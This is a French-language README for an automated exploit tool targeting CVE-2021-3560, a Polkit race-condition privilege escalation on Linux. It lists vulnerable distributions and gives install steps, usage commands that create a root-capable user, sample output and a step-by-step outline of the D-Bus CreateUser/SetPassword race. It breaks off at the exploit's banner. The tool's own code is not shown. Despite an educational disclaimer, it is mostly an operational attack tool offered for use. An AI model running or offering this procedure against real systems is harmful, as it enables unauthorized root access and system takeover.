
Exploit pour la vulnérabilité d'élévation locale de privilèges CVE-2021-3560 Polkit
.--. .-" "-. .--.
/ .. \/ .-. .-. \/ .. \
| | '| / Y \ |' | |
| \ \ \ 0 | 0 / / / |
\ '- ,\.-"`` ``"-./, -' /
`'-' /_ ^ ^ _\ '-'`
.--'| \._ _./ |'--.
/` \ \ `~` / / `\
/ '._ '---' _.' \
/ '~---~' \
/ \
Un exploit automatisé pour la vulnérabilité CVE-2021-3560 affectant PolicyKit (Polkit) sur les systèmes Linux.
⚠️ AVERTISSEMENT : Cet outil est destiné uniquement à des fins éducatives et de formation en cybersécurité dans un environnement de laboratoire contrôlé. Toute utilisation non autorisée de cet exploit sur des systèmes qui ne vous appartiennent pas est illégale.
CVE-2021-3560 est une vulnérabilité locale de type condition de course dans PolicyKit (polkit) qui permet à un utilisateur non privilégié d'obtenir les privilèges root sur des systèmes Linux vulnérables.
La vulnérabilité affecte deux branches de Polkit avec une numérotation de version différente :
bfa5036 (version 0.113)f81d021 (version 0.105-26)| Distribution | Version de Polkit | Vulnérable ? |
|---|---|---|
| Ubuntu 20.04 | 0.105-26ubuntu1 | ✅ Oui |
| Ubuntu 18.04 | 0.105-20 | ❌ Non |
| Debian testing "bullseye" | 0.105-31+ | ✅ Oui |
| Debian 10 « buster » | 0.105-25 | ❌ Non |
| RHEL 8 | 0.115-11+ | ✅ Oui |
| RHEL 7 | < 0.113 | ❌ Non |
| Fedora 21+ | 0.113+ | ✅ Oui |
| Fedora 20 et versions antérieures | < 0.113 | ❌ Non |
📝 Remarque : Les systèmes avec correctifs de sécurité appliqués (par exemple, ubuntu1.1, deb10u1) ne sont pas vulnérables.
L'exploit nécessite les outils suivants (vérifiés automatiquement) :
- dbus-send # To communicate with D-Bus
- pkexec # Part of PolicyKit
- id # To verify user creation
- openssl # To generate password hash
- accountsservice # Must be installed and active
# Clone the repository (or download the file)
git clone https://github.com/[your-repo]/CVE-2021-3560_Polkit.git
cd CVE-2021-3560_Polkit
# Make the script executable
chmod +x CVE-2021-3560_Polkit.py
Vérifie si le système est vulnérable sans exécuter l'exploit :
python3 CVE-2021-3560_Polkit.py --check
Exemple de sortie :
[*] ============================================================
[*] CVE-2021-3560 Polkit Vulnerability Checker
[*] ============================================================
[*] Detecting operating system...
[+] OS: Ubuntu 20.04
[*] Checking required dependencies...
[+] Found: dbus-send
[+] Found: pkexec
[+] Found: id
[+] Found: openssl
[*] Detecting Polkit version...
[+] Polkit version: 0.105-26ubuntu1
[+] ============================================================
[+] SYSTEM APPEARS VULNERABLE!
[+] ============================================================
[*] Debian/Ubuntu fork detected (vulnerable since 0.105-26)
Crée un utilisateur privilégié :
python3 CVE-2021-3560_Polkit.py -u <username> -p <password>
Exemple :
python3 CVE-2021-3560_Polkit.py -u hacker -p Password123!
usage: CVE-2021-3560_Polkit.py [-h] [-u USERNAME] [-p PASSWORD] [-c]
options:
-h, --help Show help
-u, --username Username to create
-p, --password Password for new user
-c, --check Check vulnerability without exploiting
L'exploit exploite une condition de course dans PolicyKit pendant le traitement des requêtes D-Bus.
┌─────────────────────────────────────────────────────────┐
│ 1. Optimal timing measurement │
│ └─> Test execution to calibrate timing │
├─────────────────────────────────────────────────────────┤
│ 2. Exploitation: User creation │
│ └─> Send D-Bus CreateUser request │
│ └─> Kill process at precise moment (race condition) │
│ └─> Verify if user created │
├─────────────────────────────────────────────────────────┤
│ 3. Password hash generation │
│ └─> Using openssl passwd -6 │
├─────────────────────────────────────────────────────────┤
│ 4. Exploitation: Password setting │
│ └─> Send D-Bus SetPassword request │
│ └─> Kill process at precise moment (race condition) │
│ └─> Test login with password │
├─────────────────────────────────────────────────────────┤
│ 5. Privilege escalation │
│ └─> Login with created account │
│ └─> Use sudo if member of sudo group │
└─────────────────────────────────────────────────────────┘
# 1. Check vulnerability
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py --check
[+] SYSTEM APPEARS VULNERABLE!
# 2. Launch exploit
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py -u pwned -p Pwn3d123!
╔═══════════════════════════════════════════════════════════╗
║ CVE-2021-3560 Polkit Privilege Escalation ║
╚═══════════════════════════════════════════════════════════╝